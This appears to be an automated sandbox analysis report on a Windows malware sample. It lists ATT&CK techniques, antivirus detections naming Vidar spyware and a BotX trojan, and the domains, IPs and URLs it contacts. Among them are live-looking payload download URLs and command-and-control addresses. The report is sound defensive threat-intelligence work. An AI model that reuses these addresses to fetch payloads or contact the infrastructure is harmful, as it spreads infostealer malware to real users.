Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	1 Services File Permissions Weakness	211 Process Injection	2 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	125 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Services File Permissions Weakness	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	271 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
8jvTeVxooN.exe	46%	Virustotal		Browse
8jvTeVxooN.exe	100%	Avira	HEUR/AGEN.1313019
8jvTeVxooN.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	100%	Avira	HEUR/AGEN.1313019
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	100%	Avira	HEUR/AGEN.1313019
C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	100%	Avira	HEUR/AGEN.1313019
C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	74%	ReversingLabs	Win32.Spyware.Vidar
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	74%	ReversingLabs	Win32.Spyware.Vidar
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	53%	ReversingLabs	Win32.Trojan.BotX

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
sdfjhuz.com	24%	Virustotal		Browse
cajgtus.com	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.wikipedia.com/	0%	URL Reputation	safe
https://95.217.9.149/FCFC	0%	Avira URL Cloud	safe
https://95.217.9.149ECGIE	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
http://www.zte.com.cn	0%	Avira URL Cloud	safe
https://95.217.9.149/3X#	0%	Avira URL Cloud	safe
https://95.217.9.149/softokn3.dlllt	0%	Avira URL Cloud	safe
https://95.217.9.149/vl	0%	Avira URL Cloud	safe
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://95.217.9.149sqln.dlls.exe	0%	Avira URL Cloud	safe
http://www.zte.com.cn	0%	Virustotal		Browse
https://95.217.9.149/Ag	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exe$run	100%	Avira URL Cloud	malware
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
https://95.217.9.149DBFHD	0%	Avira URL Cloud	safe
https://95.217.9.149/msvcp140.dll2	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Virustotal		Browse
https://95.217.9.149/softokn3.dllsoft	0%	Avira URL Cloud	safe
https://95.217.9.149/nss3.dllicrosoft	0%	Avira URL Cloud	safe
https://95.217.9.149	0%	Avira URL Cloud	safe
https://95.217.9.149/yg	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exe$run	3%	Virustotal		Browse
https://recaptcha.net/recaptcha/;	0%	Avira URL Cloud	safe
https://lv.queniujq.cn	0%	Virustotal		Browse
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
https://broadcast.st.dl.eccdnx.com	0%	Virustotal		Browse
https://broadcast.st.dl.eccdnx.com	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	0%	Avira URL Cloud	safe
https://95.217.9.149/freebl3.dllme	0%	Avira URL Cloud	safe
https://95.217.9.149/FX	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	0%	Avira URL Cloud	safe
https://recaptcha.net/recaptcha/;	0%	Virustotal		Browse
https://95.217.9.149	4%	Virustotal		Browse
http://cajgtus.com/files/1/build3.exe$runo	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exerun	0%	Avira URL Cloud	safe
https://95.217.9.149/freebl3.dll_11	0%	Avira URL Cloud	safe
http://127.0.0.1:27060	0%	Avira URL Cloud	safe
https://95.217.9.149/mozglue.dllosoft	0%	Avira URL Cloud	safe
https://95.217.9.149/nss3.dll	0%	Avira URL Cloud	safe
https://95.217.9.149/sqln.dllitP	0%	Avira URL Cloud	safe
http://127.0.0.1:27060	0%	Virustotal		Browse
http://sdfjhuz.com/dl/build2.exerun	100%	Avira URL Cloud	malware
https://95.217.9.149/softokn3.dllF	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe$runo	8%	Virustotal		Browse
https://95.217.9.149/freebl3.dllg	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe	100%	Avira URL Cloud	malware
https://95.217.9.149/softokn3.dll	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe$run2F	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exerun	7%	Virustotal		Browse
https://95.217.9.149/msvcp140.dllsoft	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe$run	0%	Avira URL Cloud	safe
https://95.217.9.149/sqln.dllUSC	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe	13%	Virustotal		Browse
http://cajgtus.com/files/1/build3.exe$run	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sdfjhuz.com	123.140.161.243	true	true	24%, Virustotal, Browse	unknown
cajgtus.com	85.11.159.22	true	true	4%, Virustotal, Browse	unknown
steamcommunity.com	184.30.90.143	true	false		high
api.2ip.ua	172.67.139.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	true	Avira URL Cloud: safe	unknown
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	true	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199673019888	false		high
https://api.2ip.ua/geo.json	false		high
http://cajgtus.com/files/1/build3.exe	true	13%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.zte.com.cn	8jvTeVxooN.exe, 00000004.00000003.1981479560.0000000003580000.00000004.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2353220737.00000000030D8000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000761000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2351161438.00000000030D7000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2869500522.0000000000634000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://95.217.9.149ECGIE	build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://www.gstatic.cn/recaptcha/	build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/3X#	build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149/FCFC	build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/vl	build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	build2.exe, 00000008.00000002.2868783397.0000000000558000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.000000000051A000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/softokn3.dlllt	build2.exe, 00000008.00000002.2869925452.00000000009CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am	build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.reddit.com/	8jvTeVxooN.exe, 00000004.00000003.1981224709.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=c4UneKQJ	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149sqln.dlls.exe	build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149/Ag	build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonl	8jvTeVxooN.exe, 0000000D.00000002.1834914451.0000000000698000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sdfjhuz.com/dl/build2.exe$run	8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2353220737.00000000030B0000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199673019888/badges	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.youtube.com/	build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonf	8jvTeVxooN.exe, 0000000D.00000002.1835007872.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000003.1834159610.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149DBFHD	build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonc	8jvTeVxooN.exe, 00000001.00000003.1646059558.0000000000697000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/msvcp140.dll2	build2.exe, 00000008.00000002.2869925452.00000000009CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149/softokn3.dllsoft	build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json7	8jvTeVxooN.exe, 00000006.00000003.1679274955.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonJ	8jvTeVxooN.exe, 00000001.00000002.1652114117.0000000000648000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/irfailAt	build2.exe, 00000007.00000002.1722554288.0000000003660000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://95.217.9.149/nss3.dllicrosoft	build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149	build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://95.217.9.149/yg	build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/	build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.amazon.com/	8jvTeVxooN.exe, 00000004.00000003.1980882657.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.twitter.com/	8jvTeVxooN.exe, 00000004.00000003.1981282697.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	8jvTeVxooN.exe, 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	8jvTeVxooN.exe, 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000005.00000002.1668558182.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000009.00000002.1739002784.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://broadcast.st.dl.eccdnx.com	build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
